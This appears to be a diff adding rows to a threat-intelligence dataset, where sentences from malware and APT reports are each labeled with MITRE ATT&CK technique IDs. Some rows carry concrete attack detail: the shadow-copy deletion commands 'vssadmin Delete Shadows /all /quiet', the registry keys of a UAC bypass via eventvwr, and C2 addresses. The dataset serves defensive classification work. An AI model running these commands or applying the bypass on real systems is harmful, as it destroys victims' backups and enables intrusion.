+Some payloads leveraged DLL side loading, a technique that involves running a legitimate, typically digitally signed, program that loads a malicious DLL. The DLL acts as a stub loader, which loads and executes shell code. BRONZE UNION previously used this technique to enable execution of PlugX and HttpBrowser tools in a way that is challenging for network defenders to detect	['T1574.002']
+To execute the main downloaded payload, the loader tries to masquerade as a legitimate Windows service, claiming in its fake description, that it is used to support packed applications	['T1036.004']
+Prior to downloading secondary payloads, CSPY Downloader initiates an extensive series of checks to determine if it is being debugged or running in a virtual environment, by searching for specific virtualization-related loaded modules, the process PEB structure, various file paths, registry keys, and memory	['T1497.001']
+"When executed, the malware first establishes a SOCKS5 connection to 192.157.198.103 using TCP port 1913. The malware sends the SOCKS5 connection request ""05 01 00"" and verifies the server response starts with ""05 00"". The malware then requests a connection to 192.184.60.229 on TCP port 81 using the command ""05 01 00 01 c0 b8 3c e5 00 51"" and verifies that the first two bytes from the server are ""05 00"" (c0 b8 3c e5 is the IP address and 00 51 is the port in network byte order"	['T1104']
+PIONEER KITTEN’s namesake operational characteristic is its reliance on SSH tunneling, through open-source tools such as Ngrok and the adversary’s custom tool SSHMinion, for communication with implants and hands-on-keyboard activity via Remote Desktop Protocol (RDP	['T1572']
+This is likely to make it appear as if nothing is amiss to the user (as high CPU usage is a red flag of cryptocurrency-mining malware	['T1014']
+The VBShower backdoor has the same philosophy of the validator version of PowerShower. Its aim is to complicate forensic analysis by trying to delete all the files contained in “%APPDATA%\..\Local\Temporary Internet Files\Content.Word” and “%APPDATA%\..\Local Settings\Temporary Internet Files\Content.Word	['T1070.004']
+The VBScript in turn runs rundll32.exe, activating the Cobalt Strike DLL (step #5) using a clean parent/child process tree completely disconnected from the SolarWinds process. Finally, the VBScript removes the previously created IFEO value to clean up any traces of execution (step #6) and also deletes the following registry keys related to HTTP proxy	['T1070', 'T1112']
+The threat actor also attempted to use OWA account credentials likely acquired during an earlier phase of the intrusion. BRONZE UNION appeared to leverage other compromised infrastructure, presumably to make reentry attempts seem legitimate. This attempt illustrates the importance of thorough planning when conducting an eviction and the need for continuous vigilance for evidence of reentry	['T1133']
+Next, the loader checks that it’s not running in a virtualized environment (VMWare or Hyper-V) or under a debugger. For the hardware virtualization check, the loader obtains the hardware device list and checks if the MD5 of the vendor ID is equal to a predefined list	['T1497.001']
+If the bot is running as admin on Windows XP or 7, persistence is established using application shimming [1]. It uses a method very similar to the one described by FireEye in their blog post “To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence” [3]. A shim database (SDB) is created (Figure 13) to patch services[.]exe with the loader code and then installed with sdbinst[.]exe	['T1546.011']
+To suppress the User Access Control (UAC) prompt that normally occurs during privilege elevation, the malware uses a UAC bypass technique first documented in August 2016. This bypass requires temporarily setting either the registry key HKCU\Software\Classes\ms-settings\shell\open\command on Windows 10, or the registry key HKCU\Software\Classes\mscfile\shell\open\command on Windows 7 to execute the malware. Once the registry key is set, the malware launches the Windows event viewer process eventvwr.msc, which will inadvertently launch the malware set in the registry keys with elevated privileges	['T1548.002']
+Malicious actors commonly maintain persistence on a victim’s system by installing the malware-as-a-service. Volgmer queries the system and randomly selects a service in which to install a copy of itself. The malware then overwrites the ServiceDLL entry in the selected service's registry entry. In some cases, HIDDEN COBRA actors give the created service a pseudo-random name that may be composed of various hardcoded words	['T1543.003']
+The first stage shellcode contains an interesting NOP sled with alternative instructions, which was most likely designed in such a way to avoid detection by antivirus products looking for large NOP blocks inside flash files	['T1027']
+The C2 server address is not embedded directly inside Tomiris: instead, it connects to a signalization server that provides the URL and port to which the backdoor should connect. Then Tomiris sends GET requests to that URL until the C2 server responds with a JSON object of the following structure	['T1568']
+"First, it captures the desktop window and sets the background color to black. It then writes ""All your files are encrypted. For more information see “README-FOR-DECRYPT.txt"" with DrawText API to a bitmap image and saves it as ""encr.bmp"" in the public pictures folder. Finally, it changes the desktop wallpaper to the new image using the SystemParametersInfoAPI with the SPI_SETDESKWALLPAPER flag"	['T1491.001']
+FIN7 has consistently utilized legally purchased code signing certificates to sign their CARBANAK payloads. Finally, FIN7 has leveraged several new techniques that we have not observed in other CARBANAK related activity	['T1553.002']
+This code invokes time twice, with a sleep in between …then compares if the differences between the two calls to time match the amount of time that was system slept for. To detect sandboxes that patch (speedup) calls to sleep	['T1497.003']
+At the beginning of October 2021, Proofpoint researchers identified public samples of Gamaredon RTF template injection documents which impersonated the Ukrainian Ministry of Defense. This tactic is consistent with reporting on this APT group that links Gamaredon to the Russian FSB operating in the Republic of Crimea and the city of Sevastopol. The files communicate with the domain pretence77.glorious[.]nonima[.]ru which also was a remote template delivery URL used by several Microsoft Office Word documents that impersonated Ukrainian government organizations. These Office files communicate with actor infrastructure using a URI pattern previously observed among Gamaredon malicious Microsoft Office phishing documents. Specifically, the Microsoft Office documents used remote template injection to retrieve malicious payload files using URIs with the directory “/ELENAPC/principles/” on several occasions. Additionally, in several instances the resources retrieved delivered an MP3 file as a delivery resource	['T1221']
+"The main C2 loop starts after the initial upload of the reconnaissance data, iterating once every approximately 30 seconds. For the first five minutes, each iteration will capture a screenshot of the display and upload it to the ""normal"" subdirectory with an encoded timestamp as the filename. After the first five minutes, the screenshot uploads once every five minutes"	['T1113']
+Since the FoggyWeb loader version.dll is an unmanaged application, it cannot directly access the virtual runtime environment that the managed AD FS code is executed within. The loader overcomes this limitation and loads the backdoor alongside the AD FS code by leveraging the CLR hosting interfaces and APIs to access the virtual runtime environment within which the AD FS code is executed	['T1106']
+The instrumentor script also performs a cleanup of the cookies for Google Chrome and Microsoft Edge browsers. This activity is performed after the implants are in place to force users to reauthenticate. This is done by simply terminating any browser processes running on the system and then deleting the cookie files on disk	['T1070.004']
+If the bot is running with admin privileges on a Windows version newer than Windows 7, persistence is established using the registry “image file execution options” method	['T1546.012']
+Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. Datper uses an RC4-encrypted configuration to obfuscate HTTP traffic. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - RarStar — This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. RarStar HTTP POST request. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. When exfiltration is complete, the uploader (or Datper or xxmm) immediately uses the del command to delete the RAR archives. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity	['T1573.001']
+An analysis of these files found that they all leveraged a remote template injection technique that allows the documents to pull down the malicious code once they are opened. This allows the attacker to have control over what content is sent back to the victim in an otherwise benign document. Recent examples of the remote template “dot” file URLs these documents use include the following	['T1221']
+These anti-forensic recovery commands are quite interesting and appear to make use of an undocumented feature of the vssadmin resize command. While the first command in Figure 2 above, vssadmin Delete Shadows /all /quiet, is commonly used by ransomware, the command option vssadmin resize shadowstorage is rarely used. In situations where shadow copies were not created by vssadmin, but by third-party applications (such as backup software), vssadmin can display an error and not delete the backups. Try removing them with the backup application which created them. The vssadmin resize shadowstorage command is a “hack” that relies on vssadmin to delete storage when the shadow copies are resized. It forces the shadow copies to be deleted regardless of their context. The command works by resizing the default shadow volume size from 10 percent to 401 MB (the minimum size is 300 MB). Then the shadow storage is set to unbounded, which allows it to use all available disk space. The shadow copies are then deleted by calling the command vssadmin Delete Shadows /all /quiet a second time	['T1490']
+After initialization, SUNSPOT monitors running processes for instances of MsBuild.exe, which is part of Microsoft Visual Studio development tools. Copies of MsBuild.exe are identified by hashing the name of each running process and comparing it to the corresponding value, 0x53D525. The hashing algorithm used for the comparison is ElfHash and is provided in Python in Figure 1	['T1057']
+The “WmiApCom.bat” file is simply used to start “WmiApCom”, which happens to be the exact same file as the one dropped by the malicious Word documents. However, this is most likely meant to be a mechanism to update the compromised host with a new version of the LOWBALL malware	['T1105']
+Although it has only recently been launched, IcedID already uses redirection attacks. The redirection scheme IcedID uses is not a simple handover to another website with a different URL. Rather, it is designed to appear as seamless as possible to the victim. These tactics include displaying the legitimate bank’s URL in the address bar and the bank’s correct SSL certificate, which is made possible by keeping a live connection with the actual bank’s site	['T1185']
+TG-3390 uses DLL side loading, a technique that involves running a legitimate, typically digitally signed, program that loads a malicious DLL. CTU researchers have observed the threat actors employing legitimate Kaspersky antivirus variants in analyzed samples. The DLL acts as a stub loader, which loads and executes the shell code. The adversaries have used this technique to allow PlugX and HttpBrowser to persist on a system	['T1574.002']
+messengers. Figures 9 and 10 show FakeM attempting to resemble MSN or Yahoo. Messenger traffic, as the first 32-bytes contain data that resemble legitimate traffic generated by these chat programs	['T1001.003']
+At execution, it installs an application-defined Windows hook. The hook gets windows messages indicating when a network drive has been attached. Upon adding a network drive, the hook calls its “RecordToFile” file stealer method	['T1056.004']
+The first way in which the malware can be launched is by hijacking a DLL. Being placed in the same folder as explorer.exe, the wrapper DLL is loaded during the Windows startup into the Windows Explorer process instead of the legitimate library located in the %windir%\system32 folder	['T1574.001']
+proxy-servers, web-servers, or software update servers. After that, these intermediary servers are used by ProjectSauron as internal proxy nodes for silent and inconspicuous data exfiltration, blending in with high volumes of legitimate traffic	['T1090.001']
+As mentioned in the Hermes to Ryuk section, Ryuk uses a combination of symmetric (AES) and asymmetric (RSA) encryption to encrypt files. Without the private key provided by WIZARD SPIDER, the files cannot be decrypted and are unrecoverable. A thread is created for the encryption of each file and each file is encrypted with its own AES key. After the file has been encrypted, a file extension of .RYK is appended to the file. All directories will have a ransom note of (RyukReadMe.txt) written to the directory	['T1486']
+The original variant of FakeM generates network beacons to its C2 server that begin with a 32-byte header that in most cases is meant to blend into network traffic generated by legitimate applications. Following this 32-byte header, the original variant of FakeM includes data encrypted using a custom encryption cipher that uses an XOR key of “YHCRA” and bit rotation between each XOR operation	['T1573.001']